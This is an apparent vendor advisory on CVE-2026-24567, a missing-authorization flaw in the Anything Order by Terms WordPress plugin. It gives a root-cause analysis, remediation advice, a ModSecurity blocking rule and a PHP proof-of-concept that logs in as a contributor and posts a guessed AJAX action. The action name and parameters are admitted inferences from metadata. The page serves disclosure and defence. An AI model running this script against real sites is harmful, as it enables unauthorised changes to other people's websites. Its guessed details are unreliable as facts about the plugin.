Atomic Edge analysis of CVE-2026-24567 (metadata-based):
The Anything Order by Terms WordPress plugin contains a missing authorization vulnerability in versions up to and including 1.4.0. This flaw permits authenticated attackers with contributor-level permissions or higher to execute unauthorized actions. The CVSS:3.1 score of 4.3 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N) indicates a network-accessible, low-complexity attack requiring low-privileged authentication, resulting in integrity impact with no confidentiality or availability loss.
Atomic Edge research identifies the root cause as CWE-862: Missing Authorization. The vulnerability description confirms the absence of a capability check on a specific plugin function. Without access to source code, we infer the vulnerable component is likely an AJAX handler or admin POST endpoint registered via WordPress hooks like `add_action(‘wp_ajax_*’)` or `add_action(‘admin_post_*’)`. The plugin fails to verify if the current user possesses the required permissions before executing sensitive logic.
Exploitation requires an authenticated attacker with at least contributor-level access. The attacker would send a crafted HTTP request to the WordPress AJAX endpoint (`/wp-admin/admin-ajax.php`) or admin POST handler (`/wp-admin/admin-post.php`). The request must include the vulnerable action parameter, which likely contains the plugin slug or a derivative like `anything_order_by_terms_action`. No nonce parameter is required because the missing capability check is the primary flaw. A successful request triggers the unauthorized plugin function.
Remediation requires adding a proper capability check before executing the vulnerable function. The plugin should implement `current_user_can()` with an appropriate capability like `manage_options` for administrative actions or `edit_posts` for contributor-level actions, depending on intended functionality. WordPress best practices also recommend nonce verification for state-changing operations, but the core fix is the capability check. The patched version should restrict function execution to users with explicitly granted permissions.
Successful exploitation allows authenticated attackers to perform unauthorized actions. The exact impact depends on the vulnerable function’s purpose. Given the C:N/I:L/A:N CVSS metrics, Atomic Edge analysis concludes the likely impact is unauthorized data modification or plugin state change. This could involve reordering taxonomy terms, altering post relationships, or changing plugin settings. The vulnerability does not enable privilege escalation, remote code execution, or sensitive data disclosure directly, but unauthorized modifications could affect site functionality.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-24567 (metadata-based)
# This rule blocks exploitation of the missing authorization vulnerability in the Anything Order by Terms plugin.
# The rule targets the likely AJAX endpoint with the inferred action parameter.
# The rule is narrowly scoped to match the exact AJAX action while allowing other plugin traffic.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:202624567,phase:2,deny,status:403,chain,msg:'CVE-2026-24567 via Anything Order by Terms AJAX - Missing Authorization',severity:'CRITICAL',tag:'CVE-2026-24567',tag:'WordPress',tag:'Plugin',tag:'Anything-Order-by-Terms'"
SecRule ARGS_POST:action "@rx ^anything_order_by_terms"
"chain,tag:'Attack/UnauthorizedAction'"
SecRule &ARGS_POST:action "@eq 1"
"t:none,setvar:'tx.cve_2026_24567_block=1'"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-24567 - Anything Order by Terms <= 1.4.0 - Missing Authorization
<?php
/**
* Proof of Concept for CVE-2026-24567
* Assumptions based on metadata:
* 1. The plugin exposes an AJAX action without proper capability checks.
* 2. The action name likely contains the plugin slug 'anything_order_by_terms'.
* 3. Contributor-level authentication (or higher) is required.
* 4. The endpoint is /wp-admin/admin-ajax.php (common WordPress pattern).
* 5. The exact parameters are unknown; we use a generic 'data' parameter.
*/
$target_url = 'https://example.com/wp-admin/admin-ajax.php'; // CHANGE THIS
$username = 'contributor'; // Attacker credentials with contributor role
$password = 'password'; // Attacker password
// Step 1: Authenticate and obtain WordPress session cookies
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => str_replace('admin-ajax.php', 'wp-login.php', $target_url),
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url,
'testcookie' => '1'
]),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEJAR => 'cookies.txt',
CURLOPT_COOKIEFILE => 'cookies.txt',
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => 0
]);
$response = curl_exec($ch);
// Step 2: Exploit the missing authorization vulnerability
// The exact action name is inferred from the plugin slug.
// Common WordPress AJAX action patterns: {plugin_slug}_action, {plugin_slug}_update, etc.
$post_data = [
'action' => 'anything_order_by_terms_update', // Inferred vulnerable action
'data' => 'malicious_payload' // Generic parameter; real exploit would use specific data
];
curl_setopt_array($ch, [
CURLOPT_URL => $target_url,
CURLOPT_POSTFIELDS => $post_data,
CURLOPT_REFERER => $target_url // Set referer to mimic legitimate request
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Step 3: Analyze response
if ($http_code === 200 && strpos($response, 'success') !== false) {
echo "[+] Exploit likely successful. Response: " . substr($response, 0, 500) . "n";
} else {
echo "[-] Exploit may have failed. HTTP Code: $http_coden";
echo "Response: " . substr($response, 0, 500) . "n";
}
unlink('cookies.txt');
?>
